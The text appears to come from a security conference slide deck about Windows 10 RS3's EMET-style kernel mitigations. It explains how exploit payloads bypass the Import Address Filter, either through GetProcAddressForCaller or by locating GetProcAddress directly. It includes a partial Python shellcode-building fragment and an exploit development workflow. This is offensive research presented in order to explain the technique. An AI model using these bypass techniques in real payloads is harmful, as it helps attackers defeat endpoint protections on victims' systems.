  +0x000 EnableImportAddressFilter : Pos 10, 1 Bit
Well well well.. look who built-in EMET into the kernel of Windows 10 RS3 (Fall Creator's Update). Thanks to @epakskape for the hint.

+0x82c MitigationFlags2 : Uint4B
+0x82c MitigationFlags2Values : <unnamed-tag>
  +0x000 EnableExportAddressFilter : Pos 0, 1 Bit
  +0x000 AuditExportAddressFilter : Pos 1, 1 Bit
  +0x000 EnableExportAddressFilterPlus : Pos 2, 1 Bit
  +0x000 AuditExportAddressFilterPlus : Pos 3, 1 Bit
  +0x000 EnableRopStackPivot : Pos 4, 1 Bit
  +0x000 AuditRopStackPivot : Pos 5, 1 Bit
  +0x000 EnableRopCallerCheck : Pos 6, 1 Bit
  +0x000 AuditRopCallerCheck : Pos 7, 1 Bit
  +0x000 EnableRopSimExec : Pos 8, 1 Bit
  +0x000 AuditRopSimExec : Pos 9, 1 Bit
  +0x000 EnableImportAddressFilter : Pos 10, 1 Bit

11:52 AM · 18 Jun 2017

254 Retweets 317 Likes

Tweet your reply

Matt Graeber @mattifestation · Jun 18

Replying to @aionescu @epakskape

Check out that IAT filter mitigation @midnite_runr. ;)

1 Retweet 13 Likes
Well well well.. look who built-in EMET into the kernel of Windows 10 RS3 (Fall Creator's Update). Thanks to @epakskape for the hint.

```
+0x82c MitigationFlags2 : UInt4B
+0x82c MitigationFlags2Values : <unnamed-tag>
+0x000 EnableExportAddressFilter : Pos 0, 1 Bit
+0x000 AuditExportAddressFilter : Pos 1, 1 Bit
+0x000 EnableExportAddressFilterPlus : Pos 2, 1 Bit
+0x000 AuditExportAddressFilterPlus : Pos 3, 1 Bit
+0x000 EnableRopStackPivot : Pos 4, 1 Bit
+0x000 AuditRopStackPivot : Pos 5, 1 Bit
+0x000 EnableRopCallerCheck : Pos 6, 1 Bit
+0x000 AuditRopCallerCheck : Pos 7, 1 Bit
+0x000 EnableRopSimExec : Pos 8, 1 Bit
+0x000 AuditRopSimExec : Pos 9, 1 Bit
+0x000 EnableImportAddressFilter : Pos 10, 1 Bit
```

11:52 AM - 18 Jun 2017

254 Retweets 317 Likes

Matt Graeber @mattifestation · Jun 18
Replying to @aionescu @epakskape

Check out that IAT filter mitigation @midnite_runr. ;)

1 Retweet 13 Likes
My Reaction
My Reaction
How Does the IAT Filter Work

• The pointer to the Import Name in the import table no longer points to:
  • GetProcAddress
  • LoadLibraryA

• The API Thunk is still there

• No Import name == driving blind
Missed an Import

0:003> u poi(r15)
KERNEL32!GetProcAddressStub:
00007ffa`03f3aa40 4c8b0424 mov r8,qword ptr [rsp]
00007ffa`03f3aa44 48ff2535970500 jmp qword ptr [KERNEL32!_imp_GetProcAddressForCaller]
00007ffa`03f3aa4b cc int 3
00007ffa`03f3aa4c cc int 3
00007ffa`03f3aa4d cc int 3
00007ffa`03f3aa4e cc int 3
00007ffa`03f3aa4f cc int 3
00007ffa`03f3aa50 cc int 3
Missed an Import

0:003> u poi(r15)
KERNEL32!GetProcAddressStub:
00007fff`03f3aa40 4c8b0424 mov r8,qword ptr [rsp]
00007fff`03f3aa44 48ff2535970500 jmp qword ptr [KERNEL32!_imp.GetProcAddressForCaller]
00007fff`03f3aa4b cc int 3
00007fff`03f3aa4c cc int 3
00007fff`03f3aa4d cc int 3
00007fff`03f3aa4e cc int 3
00007fff`03f3aa4f cc int 3
00007fff`03f3aa50 cc int 3
GetProcAddressForCaller (GPAFC)

- Introduced in win8
- Exported by kernelbase.dll
- Imported by Kernel32.dll
- Works very similar to GPA
- Not filtered by the IAT Filter
GPA('DLLHandle', 'API String')

==

GPAFC('DLLHandle', 'API String', 0)
Example in FIDO: ExternGPAFC
Now what?
WHAT IF I TOLD YOU

THAT YOU DON'T NEED TO PARSE THE IMPORT AND EXPORT TABLES TO USE GETPROCADDRESS
Think About It
Go Directly to GetProcAddress

Process Memory
Go Directly to GetProcAddress

Process Memory

PEB.imagebase

GetProcAddress
Go Directly to GetProcAddress

Process Memory

PEB.imagebase

Offset - Version(s) Dependent

X

GetProcAddress
shellcode = bytes("\xfc"
    "\x60"
    "\x31\xd2"
    "\x64\x8b\x52\x30"
    "\x8b\x52\x08"
    "\x8b\xda"
    "\xb9"
    , 'iso-8859-1')
    
    # pushad
    # xor edx, edx
    # mov edx, dword ptr fs:[edx + 0x30]
    # mov edx, dword ptr [edx + 8]
    # mov ebx, edx
    # mov ecx, XXXX

    shellcode += struct.pack('<I', self.imp_offset)
    
    # GPA in ECX
Example Dev Workflow

- Find GetProcAddress (GPA) in process space (application specific)
  - No system DLLs
- If multiple versions have the same exploit
  - find a lynchpin GetProcAddress location that is the same across all versions
- Else, diff the GPA target binary
  - Use the diff locations in the payload to ID the version to the corresponding GPA offset
Examples in FIDO: OffsetGPA and ExternOffsetGPA
Questions?

• Get the code: https://github.com/secretsquirrel/fido

• Thanks: @SubTee, @FreedomCoder, @Wired33, @__blue__